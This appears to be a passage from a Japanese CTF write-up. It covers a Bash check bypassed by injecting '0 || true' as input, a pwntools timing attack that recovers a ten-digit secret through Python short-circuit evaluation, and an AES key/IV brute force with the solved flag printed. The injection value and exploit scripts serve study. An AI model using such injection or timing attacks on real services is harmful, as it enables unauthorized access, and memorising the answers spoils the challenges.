# -u は、未定義の変数を参照した際にエラーを返すように設定できる
# ただし、if 文や :~ などで未定義変数を適切に操作できる場合にはエラーは返されない
set -euo pipefail
参考:How To Use set and pipefail in Bash Scripts on Linux
これを回避する際には、||
によるバイパス手法を利用できます。
コマンドを ||
でつなげて実行した場合、右側のコマンドは左側のコマンド実行に失敗した場合にのみ呼び出されます。
参考:What’s the meaning of the operator || in linux shell? - Stack Overflow
つまり、0 || true
のような入力を与えると、標準出力には 0 のみが渡されます。
$ printf 0 || true | echo
0
これによって、0 || true
を入力値とした場合には、if の検証を回避できます。
さらに、$r == 1 || true
では(おそらく) $r == 1
が真にならないため、true が呼び出されて最終的な評価結果が真になることで Flag を取得できます。
Cheat Code(Misc)
チートがあれば何でもできる
問題バイナリは以下でした。
from hashlib import sha256
import os
from secrets import randbelow
from secret import flag, cheat_code
import re
challenge_times = 100
hash_strength = int(os.environ.get("HASH_STRENGTH", 10000))
def super_strong_hash(s: str) -> bytes:
sb = s.encode()
for _ in range(hash_strength):
sb = sha256(sb).digest()
return sb
cheat_code_hash = super_strong_hash(cheat_code)
print(f"hash of cheat code: {cheat_code_hash.hex()}")
print("If you know the cheat code, you will always be accepted!")
secret_number = randbelow(10**10)
secret_code = f"{secret_number:010d}"
print(f"Find the secret code of 10 digits in {challenge_times} challenges!")
def check_code(given_secret_code, given_cheat_code):
def check_cheat_code(given_cheat_code):
return super_strong_hash(given_cheat_code) == cheat_code_hash
digit_is_correct = []
for i in range(10):
digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
return all(digit_is_correct)
given_cheat_code = input("Enter the cheat code: ")
if len(given_cheat_code) > 50:
print("Too long!")
exit(1)
for i in range(challenge_times):
print(f"=====Challenge {i+1:03d}=====")
given_secret_code = input("Enter the secret code: ")
if not re.match(r"^\d{10}$", given_secret_code):
print("Wrong format!")
exit(1)
if check_code(given_secret_code, given_cheat_code):
print("Correct!")
print(flag)
exit(0)
else:
print("Wrong!")
print("Game over!")
コードを見ると、100 回以内にランダムな 10 桁の数字を当てるか、おそらくランダムに生成されているチートコードを入力することで Flag を取得できることがわかります。
チートコードについてはプログラムの実行時にハッシュ値が与えられますが、不特定な回数のストレッチングが行われている上におそらくチートコード自体もランダム生成されているようで特定が困難でした。
しかし、ここで digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
入力値の検証の際に、or で接続されてチートコードのストレッチングと評価が行われていることがポイントになります。
Python では or で連結された式の場合、先の式の結果が真となる場合には、後の式は評価されないようです。
そのため、given_secret_code[i] == secret_code[i]
が真の場合には check_cheat_code(given_cheat_code)
の処理そのものが実行されないようです。
check_cheat_code(given_cheat_code)
では非常に多くの回数のハッシュ化を行います。
これによって、given_secret_code[i] == secret_code[i]
が真の場合には大幅に実行時間が短縮され、タイミング攻撃が容易になります。
最終的に以下のコードで Flag を取得しました。
from pwn import *
import time
target = remote("chal-lz56g6.wanictf.org", 5000)
target.recvuntil(b"Enter the cheat code: ")
target.sendline("A"*1)
base = ["0" for i in range(10)]
for i in range(10):
words = {}
print(f"========== Stage {i} ==========")
for j in range(10):
base[i] = str(j)
target.recvuntil(b"Enter the secret code: ")
payload = "".join(base)
target.sendline(payload.encode())
start = time.time()
r = target.recvline()
end = time.time()
print(f"{end-start} seconds")
words[payload] = end-start
if "Wrong!" not in r.decode():
print(r)
print(target.recvline())
exit()
m = min(words, key=words.get)
base[i] = m[i]
beginners aes(Crypto)
AES is one of the most important encryption methods in our daily lives.
単純に総当たりで解くだけでした。
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
from os import urandom
import hashlib
key = b'the_enc_key_is_'
iv = b'my_great_iv_is_'
enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"
for i in range(256):
for j in range(256):
tk = key + i.to_bytes(1,"little")
tiv = iv + j.to_bytes(1,"little")
cipher = AES.new(tk, AES.MODE_CBC, tiv)
try:
decrypted_msg = unpad(cipher.decrypt(enc), 16)
print(f'Decrypted message = {decrypted_msg.decode("utf-8")}')
except:
pass
# FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}
まとめ
全体的に難易度高めだったように思いますが、misc など学びが多く面白い問題があって楽しめました。